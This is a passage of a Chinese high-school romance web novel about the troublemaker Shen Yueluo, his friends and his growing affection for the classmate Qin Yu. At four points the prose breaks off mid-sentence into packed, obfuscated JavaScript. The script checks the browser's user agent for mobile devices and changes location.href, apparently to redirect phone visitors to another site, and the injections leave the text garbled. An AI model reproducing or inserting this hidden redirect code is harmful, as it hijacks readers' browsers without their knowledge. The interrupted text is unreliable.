沈华山狠狠瞪了沈月落一眼,边走边小声撂狠话:“臭小子,你给老子等着!” 沈月落对着他的背影偷偷比了个国际友好手势,小声回怼:“臭老头,等着就等着!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163944|196613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “好了。”白兰拍了一下沈月落的后脑勺,语气带着几分无奈,“别再跟你爸对着干了,他也是为你好。还有你的头发,以后不许再染了,染发剂对身体不好。现在赶紧去洗漱睡觉,别明天早上又迟到了。” 沈月落虽然老是跟沈华山针锋相对,但对白兰的话他向来还是听的,他撇了撇嘴:“知道了……我亲爱的爹地~” 他转身回房,随手从衣柜里拿了件干净的睡衣,走进了浴室。 浴室里很快弥漫起温热的水汽,花洒喷出的水珠密集地落在沈月落的身上。 他站在水流中心,脸上没了刚才的嬉皮笑脸,神情变得有些凝重。他脑海里反复浮现出秦玉的身影…… 他闭着眼睛,任由热水顺着头发滑过脸颊,再沿着脖颈、胸膛、腹肌……一路向下,溅在湿滑的瓷砖上。 沈月落的双手撑在墙上,肩膀的线条因为用力而显得格外分明,喉结滚动了一下,低声呢喃:“是你吗……当年的那个小哥哥……真的是你吗?还是……只是我认错了?” 那个童年记忆里模糊的身影,跟秦玉的模样渐渐重合,又渐渐分开,让他满心疑惑…… 但那时候的小哥哥,跟秦玉的性格完全不一样…… 过了许久,他才抹了一把脸上的水,关掉花洒,裹着浴巾走出浴室。 他回到卧室,坐在床边,左手拿着毛巾随意地擦拭着湿漉漉的头发,目光却不由自主地落在了床头柜上。 那里摆放着一张用相框已经裱起来,但依然能看出来大有些泛黄的照片,照片上是两个差不多年龄的小男孩,穿着同款的蓝色短袖,对着镜头比着剪刀手,笑得一脸灿烂。 其中一个男孩,眉眼间依稀能看出是小时候的沈月落,而另一个男孩,眉眼清秀,却因为年代久远,面容有些模糊。那是他童年里的恩人……是他这么多年一直想找到的人。 沈月落拿起照片,指尖轻轻摩挲着照片上另一个男孩的脸,眼神温柔又带着一丝怅然…… 当年若不是那个男孩出手相助,他可能早就被那群小混混欺负惨了。 只是后来,沈月落被找到了,两人握只留下这张照片,和一缕刻在沈月落记忆里的玫瑰香。 “秦玉……”他轻声念出这个名字,久久无法入睡…… 5. 好好学习 六点的河南,东方既白,天际裂开一道金红的缝隙…… 太阳也就这么开开心心地从里面蹦了出来…… 但在此时的沈家别墅里,沈月落正坐在餐桌旁啃着面包,但请不要小看这么一件事,它对于沈家这可是太阳打西边出来的,今天的沈月落,竟然起得比沈华山还早!! 很惊奇……特别意外……当然,这是对沈华山来说。 五分钟后,沈月落已经吃完了早餐,他正低头收拾书包,动作那是带着少见的认真。 六点十四分,沈华山打着哈欠从二楼卧室出来,扶着木制栏杆慢慢悠悠地下楼,心里还盘算着给白兰准备什么爱心早餐…… 可他一抬眼,先是看到客厅里收拾书包的黑影下了一跳:“诶呦我艹!” 沈华山平复了一下心情,但却又愣在了原地,他使劲儿揉了揉眼睛,看着楼下的那个身影,确认自己没看错,才走上前阴阳怪气:“臭小子,你今天是吃错药了?太阳打西边出来了?” 沈月落得意地仰起头,下巴微扬:“老头儿,你听好了,你儿子我从今天起,要开始好好学习了!” “??就你?”沈华山轻笑一声,这声轻笑,充满了贬义,他也向沈月落翻了个大大的白眼,“你能考个全校倒数第二都算烧高香,还好好学习?骗谁呢?” “不是,老头儿,你他妈天天故意针对我是吧?!”沈月落瞬间炸毛。 “我乐意~”沈华山一脸欠揍。 “我*#&#……” 父子俩又开启了日常互掐模式,而且他俩的声音也越来越大…… 白兰一向是温柔的,可他的起床气却不小…… 沈华山下楼时没关卧室门,突然,一个枕头“嗖”地从卧室里飞出来,掉落物在了楼梯上,紧接着传来白兰带着怒气的声音:“沈华山!沈月落!你们俩是不是有病!大早上的吵死了!让不让人睡了!” 沈华山的语气瞬间一百八十度大转弯,温柔得能滴出水:“对不起嘛老婆~我们小点声,你好好睡,等你睡饱了我带你去吃好吃的~” 卧室里传来白兰一声轻哼,随后便没了动静…… 沈华山见白兰消气,转头瞪向沈月落,声音压得极低:“臭小子!都怪你!” 沈月落挑衅地向他勾了勾手:“你过来呀!” 沈华山抬手在他后脑勺重重一拍,沈月落吃痛地捂住头,怕吵醒自己亲爱的爹地,也压低声音:“臭老头儿!你把我拍傻了怎么办!” “本来就不精!”沈华山不屑地翻了个白眼,推着他往门口走,“好了好了,你不是要好好学习吗?赶紧滚去学校,别在这碍眼。” “不儿,老头儿你……” 还没等沈月落说完,“砰”的一声,沈华山一脚把他踹出门外。沈月落摔了个结结实实的屁股蹲…… “嘶……老臭头儿!你等着!”他揉着屁股站起身,低头一看手腕上的表,瞬间慌了,“完了!说要好好学习的,怎么又墨迹到6:30了!” 他飞快地单肩挎好书包,撒腿就向北华七中奔去…… 学校大门已经敞开,教导主任刘建民手里端着个玻璃茶杯,正在校门口慢悠悠转悠,检查同学们的仪容仪表。 突然,一个身影猛地撞了他一下,他踉跄着转了一圈,手里的茶杯差点掉在地上。 不用想,他也知道是谁,气得吹胡子瞪眼:“沈月落!又是你!学生会说了多少次,禁止奔跑入校!你怎么就是不长记性!” 沈月落头也不回,脚下跑得更快了,只留下一句由近及远的话:“老刘头儿,小爷我今天可是要好好学习的人!”话音未落,人已经奔上了教学楼的楼梯,没了踪影。 刘建民看着他的背影,又掏出手机看了看时间,满脸疑惑地嘟囔:“欸?这才6点半多一点,这小子今天抽什么风?平常天天迟到,今天怎么来这么早?难不成……是被夺舍了??!!” 就在他满心疑问时,沈月落已经爬到了三楼的高二A班。他一个滑步冲进教室,“呲啦——”一声,椅子被猛地拉开,与地面摩擦发出刺耳的声音。 高二A班是全校顶尖的班级,总分次次稳居第一,班里也都是清一色的学霸。 即便沈月落闹出这么大动静,大家也只是头都没抬,依旧埋头刷题、背书,各忙各的,完全没把他当回事…… 沈月落翘着二郎腿坐下,从书包里掏出高二数学书翻了起来。 可对于常年霸占全校倒数第一的他来说,这些公式和定理简直像天书:“啧……这也太难了吧……还联系上学期的内容,早知道上学期少睡几节课了……” 他越看越犯困,干脆把腿往课桌上一搭,身子向后一仰靠在椅背上,把数学书盖在脸上,直接开启了睡眠模式…… 不知道过了多久,一道尖锐的女声突然炸响在耳边:“沈月落!” 沈月落被吓了一跳,身子猛地一颤,差点从椅子上摔下去。 就在这时,一只微凉的手稳稳地拉住了他的胳膊,是刚走进教室的秦玉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163945|196613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>还没等他道谢,讲台上的女老师已经怒气冲冲地开口了——那是教历史的王薇,以前也教过H班。“我在H班教你历史的时候,你上课玩儿手机;怎么转到A班,你又开始睡觉了!” “呃……王老师……”沈月落挠了挠头,有些不好意思,“我今天第一次来这么早,有点困……” “你还好意思说!”王薇瞪了他一眼,“后面站着去!” “啧……”沈月落慢腾腾地走到教室后面,随意一站,手指插进蓬乱的头发里揉了两下,额前几缕紫色碎发好像翘得更高了。 他拍了拍脸,试图让自己清醒,可他也终究没能抵抗住瞌睡虫对他的诱惑…… 别说,沈月落还挺精。 在高二A班后墙角有个书架,他就把外衣帽子一戴,双手插进裤兜,身子往书架上一靠,又睡了过去…… 他本来就坐在最后一排,后墙角离他和秦玉的座位只有半臂距离,近得能听到彼此的呼吸声…… 过了一会儿,秦玉察觉到身后的人呼吸变得平稳,没有多余的动静。 他微微偏头,瞥见沈月落竟然站着睡着了,眉头轻轻蹙了一下,伸手轻轻拽了拽他的外衣下摆,声音压得很低:“沈同学……醒醒,别让老师发现了……” 沈月落迷迷糊糊地睁开眼,眼神惺忪地看着他,声音带着刚睡醒的沙哑:“嗯,谢谢……” 秦玉从口袋里掏出一颗薄荷糖,递到他手里:“薄荷糖……清凉醒脑。” 看到秦玉主动给自己糖,沈月落的眼睛瞬间亮了,瞌睡虫一下子跑的没影儿了,心里炸开了烟花:“他竟然主动给我糖了!!!好幸福!!!” 他勾起嘴角,露出一个灿烂的笑容,接糖的时候,指尖故意轻轻捏了捏秦玉白里透粉的指尖,语气带着几分撒娇:“谢谢秦同学~~” 秦玉的指尖猛地一颤,赶紧抽了回来。 他脸上依旧没什么害羞的神情,可耳尖却悄悄染上了一抹薄红,连他自己都没察觉。 (秦玉内心os:明明昨天才认识,他为什么……我一直讨厌和别人有肢体接触,可对他……好像并不排斥,反而……有点喜欢这种触碰……) 秦玉把头埋进臂弯里,脑子里乱糟糟的。自从初一那件事之后,他就再也没交过朋友……也没给别人多说什么…… “他对我来说……是友好的新朋友吗?还是……某些不一样的人?”他的声音埋藏在臂弯里,而且十分微弱,只有他自己可以听到,但其中充满了大大的不确定…… 6. 胃病…… 帮他揉肚子,顺便占个便宜…… “叮叮叮……同学们,下课时间到了……” 下课铃声终于响起了,沈月落也是如蒙大赦,一把拉开椅子瘫坐下去,长长舒了口气:“站了一节课,终于下课了!!” 王薇拿着教材离开了,教室里也瞬间热闹起来,可秦玉依旧坐在座位上,低着头认真整理着课本上的笔记,笔尖在纸上划过的沙沙声清晰可闻…… 沈月落转过头,单手托着腮,目光直直地落在秦玉脸上,他犯着花痴,感觉口水都快流出来了…… 此时此刻,沈月落满脑子都是:“嘿嘿嘿……他真的好帅,嘿嘿嘿,我老婆……” 秦玉被他看得有些不自在,毕竟他是个社恐,笔尖顿了顿,轻声问:“沈同学,你这样看着我干什么?” 沈月落身子往前一倾,凑近他,温热的呼吸拂拭着他的耳廓,语气带着明显的撩拨:“因为秦同学太帅了~~把我的心、我的魂,都给迷住了~” “你……”秦玉微微偏头,避开他过于亲近的距离,脸颊悄悄泛起薄红,却还是故作镇定地低头写着笔记,淡定的说了一句:“别离我太近……” 沈月落低笑一声,乖乖坐了回去:“好了秦同学,不逗你了。其实……我想麻烦你个事儿~” “什么事?”秦玉的声音依旧平静,可握着笔的手指却悄悄收紧了些。 “我的几个兄弟想见见你,可以吗?”沈月落瞬间从撩拨切换成了撒娇模式,眨巴着那双像初春柳叶般的眼睛,眼底满是期待:“求求你了~~秦同学~~~” 平日里脾气火爆、嘴毒可以让人致死的校霸,此刻放软了语气撒娇,就算是高冷如秦玉,也实在抵挡不住。 他沉默了几秒,声音轻得像羽毛:“嗯……几点?” “下午放学呀!咱们顺便吃个饭,然后我再跟你一起去看外公,好不好?”沈月落趁热打铁…… “嗯……”秦玉摇摇头,“你不用去看我外公了,太麻烦你了……你回家好好学习,晚上也要早睡,明天上课别又睡着了……” “哦……好吧。”沈月落有点小失落,随即又打起精神,“那就这么定了!等周末我再去看外公!” “嗯……想来就来。”秦玉刚说完,上腹突然猛地一痛,像是被一只无形的手紧紧攥住,细密的冷汗瞬间从额头冒了出来,脸色也变得苍白…… 沈月落察觉到他的不对劲,刚才的嬉皮笑脸瞬间没了踪影,语气里满是焦急:“怎么了?肚子不舒服吗?我带你去医务室!”说着就伸手,想把他打横抱起。 “不用……药……在包里……”秦玉咬着牙,手紧紧捂着肚子,声音都有些发颤…… 沈月落立刻翻找他的书包,在夹层里找到了一瓶铝碳酸镁咀嚼片。 “吃几片?” “两片……”秦玉的额角已经渗出冷汗,顺着苍白的脸颊滑落。 沈月落急忙倒出两粒药片,小心翼翼地塞进他嘴里,又想去拿书包侧面的水杯,可摸到的却是一个冰凉的矿泉水瓶,里面只剩小半杯水。 “啧,怎么没带热水啊。”他随手拦住旁边路过的同学,语气十分急切,“同学,麻烦去老师办公室拿个纸杯接点热水,谢谢!” 那同学先是一愣,没想到身为校霸的沈××,会主动搭话,再看到秦玉难受的模样,立刻反应过来——毕竟秦玉的胃病不是第一次发作了,班里的同学们,虽然都没跟他有什么深交,但是这个情况也是知道的,那个同学也连忙点头,迈开大步:“好,我这就去!” 沈月落趁机轻轻把秦玉搂过来,让他坐在自己腿上,手掌覆在他的肚子上,轻轻揉着:“这样能舒服点。” 两人的身体紧紧挨着,沈月落能清晰感受到腿上秦玉的柔软,鼻尖萦绕着秦玉腺体散发的玫瑰香,忍不住又凑近了些。 到底是在照顾人,还是在趁机占便宜,恐怕只有他自己清楚…… (沈月落内心os:嘿嘿,我老婆好软好香~~赚到了!) 秦玉被他抱在腿上,敏感的腺体几乎要贴到他的脖颈,身子瞬间僵得像块木头,注意力被转移,连他腹中的疼痛都淡了几分… 秦玉心里乱糟糟的:“他,他这是在帮我,还是……趁机占我便宜?” 沈月落的手不安分地在他腰上轻轻捏了两下,指尖像是带着电流,让秦玉的腰间传来一阵酥麻。 “你……别乱动……”秦玉的声音带着一丝不易察觉的颤抖。 “哦,好。”沈月落乖乖应着,手上的动作重新轻柔地揉着他的肚子。 这时,刚才帮忙接水的同学拿着纸杯走进教室,一进门就看到两人亲密的姿势,惊得手一抖,纸杯差点掉在地上。 沈月落察觉到他的目光,非但没把秦玉放下来,反而搂得更紧了些。 呃……他到底安的什么心…… 秦玉也看到了来人,脸颊瞬间涨得通红,急忙想挣脱:“放开!” “你胃疼还没好呢~~我再帮你揉揉。”沈月落不肯松手。 “放开!”秦玉的声音不由得提高了几分。 原本没注意到这边的同学,被这声“放开”吸引,纷纷转头看来。 秦玉被众人的目光包围,他又羞又恼,赶紧把头扭向一边…… 同学们都是一副“懂了懂了”的表情,但又怕这会让秦玉更尴尬,纷纷装作若无其事地转回头,各自忙活自己的事。 那位送水的同学趁机把纸杯放在秦玉桌上,干笑着打圆场:“今天天气真好啊!”果然,人在最尴尬的时候,会向别人装作自己很忙。随后,那位同学又以每秒八百米的速度逃离了 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离上课只剩最后一分钟,教导主任刘建民——也就是高二A班的数学老师,提前走进了教室。 一进门,他的目光就直直锁定了沈月落,脸上写满了震惊。 他想过沈月落课间会睡觉、会打闹,甚至会偷偷玩手机,唯独没想过他会坐在那里记笔记! 他再结合今天沈月落竟然提前到校的反常表现,刘建民脑子里的问号堆成了山…… “? ?? ??? ???? ????? ?????? ???????” 刘建民跟沈华山是好兄弟,他也是看着沈月落长大的,没少见识他调皮捣蛋的样子,可这样乖乖学习的沈月落,还是十八年来头一次见。 他就这么愣愣地盯着沈月落,连上课铃响了都没听见。 坐在第一排的数学课代表章以青轻轻提醒:“刘主任,上课了。” 刘建民这才回过神,轻咳一声:“好了同学们,把书翻开,今天我们讲平面向量的概念……” 沈月落表面上听得认真,可黑板上的公式和定理在他眼里就像天书,脑子里很是一团浆糊。 他偷偷瞥了一眼旁边的秦玉,他现在拿的好像不是课本,是一本练习册?! 沈月落:“???” 他心里暗暗嘀咕:“他在写什么?完全看不懂,但感觉比平面向量难多了……不愧是学霸会长啊。” 一边想,一边又忍不住看向秦玉认真的侧脸,嘴角悄悄扬起了弧度…… “嘿嘿嘿,我老婆,是真的好看……” 7. 你们嫂子 “叮铃铃……”一天之内的最后一节课终于结束了,它就像一瓶开心喷雾,驱散了沈月落脑袋里盘旋了一整天烦人的公式和定理…… 他这一天算是努力了,但收获是负数,因为老师讲的知识点他是左耳进右耳出,笔记记了满满三页,回头一看全是天书,自己啥也看不懂。 主打一个无效学习…… 但是!这些沮丧在下课铃响起而驱散,因为“约会”,马上就到了! 在沈月落眼里,学习目前不重要,先排到第二位去! 他书都没顾得上收拾,急忙打开手机,指尖飞快地点开wx,发给王起一段语音:“你跟他们两个先去咱们上次去的那个餐厅点菜,不要辣的,最好清淡点儿的。” 王起秒回了一个“OK”的表情包,附加一个抽象的笑脸。 沈月落把手机一关,随意地扔在桌子上,手忙脚乱地把桌兜里的书本文具往书包里一通乱塞,拉链一拉,算是完成了自己的书包收拾。 他转头,看见秦玉还在慢条斯理地整理东西,指尖把书本按大小归类,动作规整得像在完成一项不能马虎一点儿的任务…… 沈月落几步走过去,轻轻把他按在椅子上,顺手夺过他的书包:“你先歇着,我给你收拾。”他说着就从秦玉的桌兜里一一掏出书本、笔记本和笔袋,又规规矩矩地按顺序装进书包,连边角都抚平了才拉上拉链。 “好啦!走吧,去吃饭!”沈月落单肩背上自己的书包,左手拎起秦玉的,开心的一蹦一跳的。 “那个……两个书包太沉了,我的让我自己拿吧。”秦玉站起身,想拿过自己的书包。 “这有啥的?”沈月落把书包往身后一甩,语气带着不容拒绝的认真,“我以后都给你掂着,还送你回家。” 秦玉见沈月落执意如此,嘴唇微微动了动,好像是在编辑着语言,但他终究还是没再说什么,只是默默跟在沈月落的身后,走出了校门。 沈月落站定脚步,转身等待秦玉跟上来…… 夕阳把两人的影子都拉得长长的……好像有些温馨? 秦玉加快脚步,与他并肩同行时,沈月落忽然把自己的书包换成双肩背好,再把左手拎着的秦玉的书包换到右手上,空出的左手轻轻碰了碰秦玉的指尖。 沈月落见秦玉好像没有拒绝的意思,顺势就握住了,十指相扣的瞬间,他能感觉到秦玉指尖的颤抖,似乎想要抽离…… “你……”秦玉的声音带着一丝不易察觉的慌乱。 沈月落立刻切换撒娇模式,尾音拖得长长的:“就一会儿嘛,一到饭店我就松手~~” 秦玉无奈地看了他一眼,但终究还是没再动,轻轻“嗯”了一声,算是默许。 沈月落心满意足地牵着他的手,脚步也都轻快了不少。 傍晚六点多,也正是日落时分。 此时此刻,夕阳橘红色的光洒在两人身上,把他们的影子都拉得很长很长…… 餐馆离学校不远,两人手牵手走了十五分钟就到了。 王起早已在门口等着,远远就瞥见那十指相扣的画面,立刻露出了意味深长的笑容,摸着下巴长长的“哦~~”了一声。不用说,他的眼神就是明白了一切。 秦玉瞬间察觉到那道目光,脸颊又开始微微发烫,赶快挣脱开了沈月落的手。 沈月落也没得寸进尺,只是笑着拍了拍王起的肩膀,示意他向秦玉介绍自己。 王起领会到意思,主动伸出手,笑容灿烂:“那个……同学你好,我叫王起,沈哥的兄弟,现在在H班。” “A班,秦玉。”秦玉礼貌性地握住他的手,指尖只是轻轻一碰就收了回来。 沈月落看着两人短暂交握的手,但心里还是莫名有点酸酸的,在秦玉看不见的角度,默默瞪了王起一眼,那眼神阴森森的,醋味都快溢出来了…… 王起打了个寒颤,连忙松开手——他可不敢惹这位祖宗,更何况自己也是有夫之夫,上次让宋辛吃醋,他可是连续哄了快五个小时才哄好…… 三人走进餐厅,另外两人已经占好了位置。 看到沈月落带着秦玉进来,都纷纷起身打招呼。 “秦同学好!我叫宋辛,跟王起一个班的。” “柳然。” 柳然只是淡淡的读出了两个字,他就是人狠话不多的那种。这次要不是王起硬拉,他才懒得凑这种热闹——而且,他和沈月落就是当年打出来的好兄弟,毕竟对他来说,能用拳头解决的事,没必要动嘴…… 实际上是因为他语言表达能力太垃圾了……安慰别人都会让别人感觉到他在挑衅自己…… 把目光转会,只见餐馆的桌子是长方形的,沈月落拉着秦玉坐在同一排,王起和宋辛坐在对面,柳然则一个人占了另一头,低头玩着手机,就像个局外人,却又莫名融入这氛围? 餐厅里人声鼎沸,可等菜的间隙,宋辛的目光总是忍不住的往秦玉身上瞟,总感觉他的目光好变态,“嫂子真好看,难怪沈哥这么宝贝。” 转念又想到身边的王起,忍不住腹诽:“我当初真是瞎了眼,好歹也是个Alpha,怎么就看上这货了,我还偏偏是下面那个……艹!” 刚想到这儿,旁边的王起突然鼻子一痒,转头捂住嘴打了个喷嚏,一脸疑惑:“???谁在偷偷骂我???” 宋辛白了他一眼,没说话。 王起一脸茫然,心里暗想:???what?我又咋了??? 几个人坐在一起,感觉也没有什么可聊的,气氛一度陷入尴尬。宋辛率先打破沉默,看向秦玉:“秦哥……你感觉我们大哥怎么样?” 秦玉没多想,偏头看了沈月落一眼,目光在他脸上停留了五秒,缓缓吐出几个字:“挺会撒娇的……” 这话一出,全场寂静。 柳然正在打游戏的手瞬间停了下来,抬头看向秦玉,眼神里写满了“你说什么”的震惊;王起和宋辛更是像被施了定身咒,下巴也都快掉地上了,他们的脸上全是“???!!!”的表情。 秦玉被他们看得有点不自在,皱了皱眉:“我……说错什么了吗??” 王起先回过神,干咳一声:“呃……秦哥,我们就是……呃,第一次听说沈哥会撒娇,有点惊讶。” “他没跟你们撒过娇?”秦玉转头看向沈月落,眼里带着一丝疑惑。 沈月落此刻已经开启了离线模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163947|196613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 式,满脑子都在循环播放“他说我会撒娇”“是不是喜欢我撒娇”“是不是不讨厌我”“是不是喜欢我”…… 也不知道他哪儿来的神奇脑回路,反正他的嘴角都忍不住的往上扬了,完全没注意到自己在兄弟们心中“嘴毒校霸”形象已经彻底崩塌了…… 宋辛在心里哀嚎:早知道我就不问了,我的死嘴啊!!!玛德!艹!!! 柳然和王起内心开启了同步模式:没想到老大是这样的人…… 秦玉见他们不回答,也不知道该说什么。他本就不善与人交谈,除了熟悉的人,很少主动开口,此刻更是有些无措。 幸亏服务员及时上菜,一盘盘清淡却看着很有胃口的菜肴端上桌,缓解了这尴尬的场面。 饭菜陆续上齐,沈月落终于从自己的思绪里回过神,立刻开启“投喂模式”,不停给秦玉夹肉夹菜,不到两分钟,秦玉的碗里就堆成了一座小山。 “我吃不完的……”秦玉看着碗里的菜,表情有些复杂。 “没事,这些都是清淡的,养胃,多吃点,看你瘦的。”沈月落笑得像只求夸奖的大狗狗,眼里满是期待。 秦玉看着他热情的样子,实在不忍拒绝,低声说了句:“谢谢你……” 这三个字像蜜糖,瞬间甜到了沈月落心里。 对面的王起看得心里痒痒的,用胳膊肘轻轻碰了碰宋辛,眨了眨眼,意思是:给我也夹点菜。 宋辛当着众人的面不好发作,心里暗骂一声“不要脸”,在桌子底下狠狠踩了王起一脚。 王起疼得“嘶”了一声,强忍着没叫出来,脸上还得挤出笑容。 沈月落看破不说破,故意挑眉问道:“咋了二狗子???” “老大,我没事。”王起强颜欢笑。 “哦……那你也好好吃。”沈月落说着,又给秦玉夹了一筷子青菜。 接下来,沈月落主动引出话题,聊起学校里的趣事,王起和宋辛跟着附和,柳然偶尔也会搭一两句话。 秦玉被他们的热情包围着,心底那层厚厚的“冰块”,似乎也在这欢声笑语中融化了一点点。 好久了,自从父母离世后,他就一直和外公相依为命,性格也变了,也很少与人交往。 这是他第一次,交到这样热情又真心的朋友。 他跟着他们笑,跟着他们闹…… 时间渐渐晚了,几人在十字路口道别。 秦玉还要去医院照顾外公,沈月落没好意思太晚打扰到外公,一直把他护送到医院大门门口。 “进去吧,我明天再来找你。”沈月落拎着秦玉的书包,语气温柔。 “嗯,路上小心。”秦玉接过书包,轻声说道。 走进病房时,外公已经睡熟了,呼吸均匀。 秦玉轻轻的从书包里拿出一个泛黄的日记本,这个本子……是他那个当大学教授的父亲留下的,他也是一直都带在身边的…… 翻开本子,他只是用黑笔简简单单写了几个字:“今天,是开心的……” 笔停,他合上日记本,放回书包。 或许是因为今天的开心,这一夜,他睡得格外安稳,梦里的一切都是那么美好。 8. “拐”回家 现在是九月三日,早晨七点三十分…… 沈月落踏进教室时,第一眼就看到了那个熟悉的身影。 秦玉已经坐在靠窗的位置上,晨光透过玻璃洒在他的侧脸上。 不用想,沈月落心里还是一样的话:嘿嘿嘿,我的老婆今天更好看了……嘿嘿嘿。 怎么看就觉得他现在就是个二傻子…… 只见他轻手轻脚地走到自己的座位——挨着秦玉,他心里又暗爽了一批…… 他装模作样地拿出语文书,开始默读课文,余光却时不时飘向身旁的人。 但不到十分钟,教室里渐渐热闹起来。语文课代表抱着一摞作业本走进来,挨个儿分发。 沈月落接过自己的练习册,翻开一看,只见白色的纸张上赫然写着几个鲜红的大字——“字太丑!!!" 那力道大得仿佛要把纸戳破,三个感叹号像三把利剑,直直刺进沈月落的心里…… “嘶……这字儿没毛病吧,我感觉我写的挺好看的啊……"沈月落小声嘀咕着,又转头,自来熟地拍了拍前桌刘林的肩膀,“嘿,同学,你觉得我写的字怎么样?" 刘林是个胆小的Alpha,听到沈月落的声音差点从椅子上跳起来…… 关于沈月落的传闻在学校里满天飞——有人说他是个仗势欺人的富二代,也有人说他只是专门挑那些欺负别人的混混打的那种…… 但不管哪种说法,刘林都不想得罪这个据说下手挺狠的人。 “沈同学,你,你写得挺好的……"刘林结结巴巴地回答。 沈月落得意地扬起下巴:"我就说嘛,老师肯定是老眼昏花了。" 他又把练习册凑到秦玉面前,"秦同学,你觉得我写的怎么样?" 秦玉停下笔,抬起头。他的目光在那些歪歪扭扭的字迹上停留了几秒,然后淡淡地说:“挺好的……" 是个精点儿的人都能听出秦玉的话里面带着贬义的意思。 但沈月落偏偏就是那种傻了吧唧的,他真的认为秦玉在夸他,美滋滋地收回练习册,完全没听出话里的贬义意。 第一节课的下课铃刚响,沈月落就被班主任江涛请到了办公室“喝茶”。 “沈月落,你看看你写的字……跟狗爬的一样。" 江涛把一本厚厚的字帖推到他面前,“跟你父亲说过了,他给你买的。" 沈月落的脸瞬间垮了下来:“亲爱的老师~~我求求您了,我能不能不写啊!!!" “你的字实在是太……"江涛斟酌着用词,“你必须练,要不然电子阅卷的时候根本看不清,给你打错,你就会很吃亏的。" 也就在这时,办公室的门被推开了…… 秦玉抱着一摞作业本走进来,显然是帮语文课代表送作业。 江涛认识秦玉——学校的次次的年级第一,每个老师都认识他。江涛向他招了招手:“秦玉,过来一下。" 秦玉走到江涛面前,站在沈月落旁边。 “秦玉,你学习好,多教教他学习,再监督一下他的练字情况。" 江涛顿了顿,又说,“另外……你的贫困补助金,市里资助了一部分,学校也根据你的表现,给予了你一些奖学金,一共大约是两万多,过两天你去找校长拿吧。" “好的老师,谢谢您。"他的声音让人听不出情绪,随后他转身,看向沈月落,“我会好好监督他的。" 江涛点点头,算是默认了…… 秦玉微点点头,接着转身,离开办公室。 沈月落也慢吞吞地跟在秦玉身后回到教室。他一屁股坐下,盯着那本字帖发愁,实在忍不住,爆了一句粗口:“艹!这字帖狗都不写!" 秦玉侧头看了他一眼,沉默了三十秒,突然开口:“每天五页,按时完成……有奖励。" 沈月落的眼睛瞬间亮了起来,心里暗暗猜想着:奖励?难道是一个大大的拥抱,或者是亲亲?! 他立刻换了副表情:“狗不写我写!" 秦玉没搭理他,低头写着试卷…… 沈月落见他没答,也不知道说些什么,两人之间突然有些尴尬。 他低头沉默,又想到刚刚班主任对秦玉说的话。 “你家很缺钱吗?”沈月落犹豫了很久,终于还是问出了口。 “缺……"秦玉的声音很轻。 “你外公的病……需要多少钱?" “60多万。" 沈月落心里一沉。两万多的补助金,即使加上秦玉空闲时间打工的钱,也远远不够。 他咬了咬嘴唇,突然有了个主意:"你愿意当我的家教老师吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163948|196613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' " “家教……?"秦玉抬起头,眼里闪过一丝疑惑。 “嗯,一小时一万。" “一小时,一万?"秦玉愣住了,毕竟沈月落是沈家的少爷,一万元在他眼里就是个很小的数目,可在秦玉眼睛一个小时一万,简直就是一个天价的数字。 “这有点太多了。"他很快反应过来,摇头拒绝。 “钱不是问题,只是,你愿意给我当家教吗?"沈月落认真地看着他。 秦玉刚想回答,可是上课铃不合时宜的响了,两人的对话被迫中断。 秦玉感觉这是一种施舍,他不想被别人看不起,但外公的病却不能等。 两分钟后,一张纸条悄无声息地出现在沈月落的桌上:“好,时间。" 那三个字写得是真优雅,果然是字如其人,什么都是俊的……沈月落也被震惊,好半天才回过神来,在纸条背面写道:”今天放学,你跟我一起去回家吧。” 他也考虑的很周全,知道秦玉跟着自己回来后,他外公就没有人照顾了,又急忙写下一句话“你外公那里不用担心,我让我爸安排一个金牌护工去照顾。" 秦玉接过纸条,没有再写什么,只是轻轻“嗯"了一声。 等到了午休时间,沈月落迫不及待地拨通了父亲的电话。 “喂,老头儿。" “臭小子!又干什么!?"电话那头传来沈华山不耐烦的声音。 “老头儿,你想不想让我的成绩提升一点儿?" “你又有什么鬼点子?"沈华山警觉起来。 